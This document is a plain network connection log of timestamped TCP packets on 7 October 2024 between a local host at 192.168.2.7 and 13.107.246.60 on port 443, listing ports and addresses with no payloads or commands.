Oct 7, 2024 06:44:21.597771883 CEST	49755	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.597807884 CEST	443	49755	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.597872019 CEST	49755	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.598117113 CEST	443	49749	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.598124981 CEST	49755	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.598140001 CEST	443	49755	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.598198891 CEST	443	49749	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.598247051 CEST	49749	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.598305941 CEST	49749	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.598311901 CEST	443	49749	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.598320961 CEST	49749	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.598325014 CEST	443	49749	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.600387096 CEST	443	49748	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.600554943 CEST	443	49748	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.600606918 CEST	49748	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.600925922 CEST	49756	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.600961924 CEST	443	49756	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.600982904 CEST	49748	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.600982904 CEST	49748	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.600990057 CEST	443	49748	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.600997925 CEST	443	49748	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.601032972 CEST	49756	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.601136923 CEST	49756	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.601146936 CEST	443	49756	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.603635073 CEST	49757	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.603667021 CEST	443	49757	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.603750944 CEST	49757	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.604022980 CEST	49757	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.604037046 CEST	443	49757	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.242726088 CEST	443	49756	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.243412018 CEST	49756	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.243444920 CEST	443	49756	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.243860006 CEST	49756	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.243872881 CEST	443	49756	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.245774984 CEST	443	49754	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.246149063 CEST	49754	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.246176004 CEST	443	49754	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.246479988 CEST	49754	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.246486902 CEST	443	49754	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.252480984 CEST	443	49757	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.252891064 CEST	49757	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.252931118 CEST	443	49757	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.253235102 CEST	49757	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.253242016 CEST	443	49757	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.266140938 CEST	443	49753	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.266900063 CEST	49753	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.266906977 CEST	443	49753	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.267190933 CEST	49753	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.267194986 CEST	443	49753	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.271707058 CEST	443	49755	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.272308111 CEST	49755	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.272330999 CEST	443	49755	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.272948980 CEST	49755	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.272954941 CEST	443	49755	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.341289043 CEST	443	49756	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.341458082 CEST	443	49756	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.341662884 CEST	49756	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.341769934 CEST	49756	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.341800928 CEST	443	49756	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.341814995 CEST	49756	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.341820955 CEST	443	49756	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.344788074 CEST	443	49754	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.344968081 CEST	443	49754	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.345043898 CEST	49754	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.345138073 CEST	49754	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.345156908 CEST	443	49754	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.345171928 CEST	49754	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.345179081 CEST	443	49754	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.345240116 CEST	49759	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.345276117 CEST	443	49759	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.345344067 CEST	49759	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.345582008 CEST	49759	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.345597029 CEST	443	49759	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.347826958 CEST	49760	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.347862959 CEST	443	49760	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.347953081 CEST	49760	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.348192930 CEST	49760	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.348206043 CEST	443	49760	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.352041006 CEST	443	49757	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.352181911 CEST	443	49757	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.352257013 CEST	49757	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.352380037 CEST	49757	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.352416992 CEST	443	49757	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.352437973 CEST	49757	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.352452993 CEST	443	49757	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.355345964 CEST	49761	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.355447054 CEST	443	49761	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.355556011 CEST	49761	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.355801105 CEST	49761	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.355834961 CEST	443	49761	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.371495008 CEST	443	49753	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.371556997 CEST	443	49753	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.371721983 CEST	49753	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.371866941 CEST	49753	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.371887922 CEST	443	49753	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.371901989 CEST	49753	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.371910095 CEST	443	49753	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.374413967 CEST	443	49755	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.374491930 CEST	443	49755	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.374553919 CEST	49755	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.374705076 CEST	49755	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.374726057 CEST	443	49755	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.374736071 CEST	49755	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.374742031 CEST	443	49755	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.375005007 CEST	49762	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.375056028 CEST	443	49762	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.375138044 CEST	49762	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.375271082 CEST	49762	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.375291109 CEST	443	49762	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.377337933 CEST	49763	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.377386093 CEST	443	49763	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.377485991 CEST	49763	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.377665043 CEST	49763	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.377676964 CEST	443	49763	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.992786884 CEST	443	49759	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.993448973 CEST	49759	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.993485928 CEST	443	49759	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.994133949 CEST	49759	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:22.994139910 CEST	443	49759	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:22.999700069 CEST	443	49760	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.000129938 CEST	49760	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.000138044 CEST	443	49760	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.000720978 CEST	49760	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.000725985 CEST	443	49760	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.003756046 CEST	443	49761	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.004163027 CEST	49761	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.004180908 CEST	443	49761	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.004626036 CEST	49761	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.004631042 CEST	443	49761	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.011861086 CEST	443	49763	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.012259007 CEST	49763	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.012269020 CEST	443	49763	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.012815952 CEST	49763	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.012820959 CEST	443	49763	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.049479008 CEST	443	49762	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.050045967 CEST	49762	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.050071001 CEST	443	49762	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.050671101 CEST	49762	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.050676107 CEST	443	49762	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.093337059 CEST	443	49759	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.093427896 CEST	443	49759	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.093538046 CEST	49759	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.093772888 CEST	49759	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.093802929 CEST	443	49759	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.093820095 CEST	49759	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.093827009 CEST	443	49759	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.097342968 CEST	49764	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.097398043 CEST	443	49764	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.097481012 CEST	49764	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.097680092 CEST	49764	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.097690105 CEST	443	49764	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.101349115 CEST	443	49760	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.101419926 CEST	443	49760	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.101490974 CEST	49760	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.101757050 CEST	49760	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.101768970 CEST	443	49760	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.101790905 CEST	49760	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.101795912 CEST	443	49760	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.104854107 CEST	49765	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.104897976 CEST	443	49765	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.105006933 CEST	49765	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.105129957 CEST	49765	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.105140924 CEST	443	49765	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.108726978 CEST	443	49761	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.108803034 CEST	443	49761	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.108870029 CEST	49761	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.109106064 CEST	49761	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.109106064 CEST	49761	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.109122038 CEST	443	49761	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.109133005 CEST	443	49761	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.110855103 CEST	49766	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.110876083 CEST	443	49766	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.110956907 CEST	49766	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.111072063 CEST	49766	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.111083984 CEST	443	49766	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.111413956 CEST	443	49763	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.111476898 CEST	443	49763	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.111529112 CEST	49763	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.111624956 CEST	49763	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.111644983 CEST	443	49763	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.111654997 CEST	49763	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.111660004 CEST	443	49763	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.113691092 CEST	49767	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.113713980 CEST	443	49767	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.113780022 CEST	49767	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.113943100 CEST	49767	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.113951921 CEST	443	49767	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.157447100 CEST	443	49762	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.157516956 CEST	443	49762	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.157636881 CEST	49762	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.157882929 CEST	49762	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.157896042 CEST	443	49762	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.157907963 CEST	49762	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.157913923 CEST	443	49762	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.161149025 CEST	49768	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.161180973 CEST	443	49768	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.161266088 CEST	49768	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.161438942 CEST	49768	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.161453009 CEST	443	49768	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.740422964 CEST	443	49764	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.741429090 CEST	49764	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.741442919 CEST	443	49764	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.741908073 CEST	49764	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.741913080 CEST	443	49764	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.749960899 CEST	443	49765	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.750325918 CEST	49765	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.750355005 CEST	443	49765	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.750672102 CEST	49765	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.750679970 CEST	443	49765	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.755707026 CEST	443	49766	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.756019115 CEST	49766	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.756037951 CEST	443	49766	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.756675959 CEST	49766	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.756680965 CEST	443	49766	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.773845911 CEST	443	49767	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.774444103 CEST	49767	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.774455070 CEST	443	49767	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.775044918 CEST	49767	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.775052071 CEST	443	49767	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.794855118 CEST	443	49768	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.795418024 CEST	49768	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.795432091 CEST	443	49768	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.795895100 CEST	49768	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.795901060 CEST	443	49768	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.840687037 CEST	443	49764	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.840904951 CEST	443	49764	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.841037035 CEST	49764	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.841072083 CEST	49764	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.841103077 CEST	443	49764	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.841114044 CEST	49764	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.841120005 CEST	443	49764	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.843846083 CEST	49770	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.843910933 CEST	443	49770	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.843995094 CEST	49770	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.844228029 CEST	49770	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.844235897 CEST	443	49770	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.855827093 CEST	443	49765	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.855899096 CEST	443	49765	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.855998993 CEST	49765	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.856154919 CEST	49765	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.856182098 CEST	443	49765	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.856195927 CEST	49765	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.856200933 CEST	443	49765	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.857381105 CEST	443	49766	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.857510090 CEST	443	49766	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.857584953 CEST	49766	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.857944965 CEST	49766	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.857949972 CEST	443	49766	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.857960939 CEST	49766	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.857964039 CEST	443	49766	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.860845089 CEST	49771	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.860894918 CEST	443	49771	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.860975027 CEST	49771	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.862131119 CEST	49772	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.862164974 CEST	443	49772	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.862231016 CEST	49772	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.862382889 CEST	49771	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.862401009 CEST	443	49771	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.862520933 CEST	49772	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.862535000 CEST	443	49772	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.876972914 CEST	443	49767	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.877041101 CEST	443	49767	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.877152920 CEST	49767	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.878741026 CEST	49767	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.878756046 CEST	443	49767	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.878763914 CEST	49767	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.878768921 CEST	443	49767	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.882101059 CEST	49773	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.882145882 CEST	443	49773	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.882225990 CEST	49773	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.882383108 CEST	49773	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.882395983 CEST	443	49773	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.895204067 CEST	443	49768	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.895410061 CEST	443	49768	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.895683050 CEST	49768	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.895724058 CEST	49768	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.895731926 CEST	443	49768	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.895745039 CEST	49768	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.895750999 CEST	443	49768	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.898895979 CEST	49774	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.898947001 CEST	443	49774	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:23.899044991 CEST	49774	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.899235964 CEST	49774	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:23.899249077 CEST	443	49774	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.516273022 CEST	443	49772	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.516932964 CEST	49772	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.516959906 CEST	443	49772	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.517070055 CEST	443	49770	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.517400026 CEST	49772	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.517406940 CEST	443	49772	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.517435074 CEST	49770	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.517467976 CEST	443	49770	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.518044949 CEST	49770	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.518052101 CEST	443	49770	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.518527985 CEST	443	49771	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.518879890 CEST	49771	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.518899918 CEST	443	49771	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.519364119 CEST	49771	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.519368887 CEST	443	49771	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.532067060 CEST	443	49774	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.532738924 CEST	49774	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.532759905 CEST	443	49774	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.533195019 CEST	49774	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.533200026 CEST	443	49774	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.544013977 CEST	443	49773	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.544783115 CEST	49773	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.544795036 CEST	443	49773	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.545183897 CEST	49773	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.545190096 CEST	443	49773	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.616070986 CEST	443	49772	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.616163969 CEST	443	49772	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.616229057 CEST	49772	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.616529942 CEST	49772	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.616550922 CEST	443	49772	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.616563082 CEST	49772	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.616575956 CEST	443	49772	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.617835045 CEST	443	49770	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.617913008 CEST	443	49770	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.617986917 CEST	49770	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.618124008 CEST	443	49771	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.618190050 CEST	443	49771	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.618235111 CEST	49771	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.618398905 CEST	49770	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.618422985 CEST	443	49770	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.618432999 CEST	49770	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.618438005 CEST	443	49770	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.618518114 CEST	49771	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.618534088 CEST	443	49771	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.618563890 CEST	49771	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.618571043 CEST	443	49771	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.621371031 CEST	49776	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.621411085 CEST	443	49776	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.621476889 CEST	49776	443	192.168.2.7	13.107.246.60
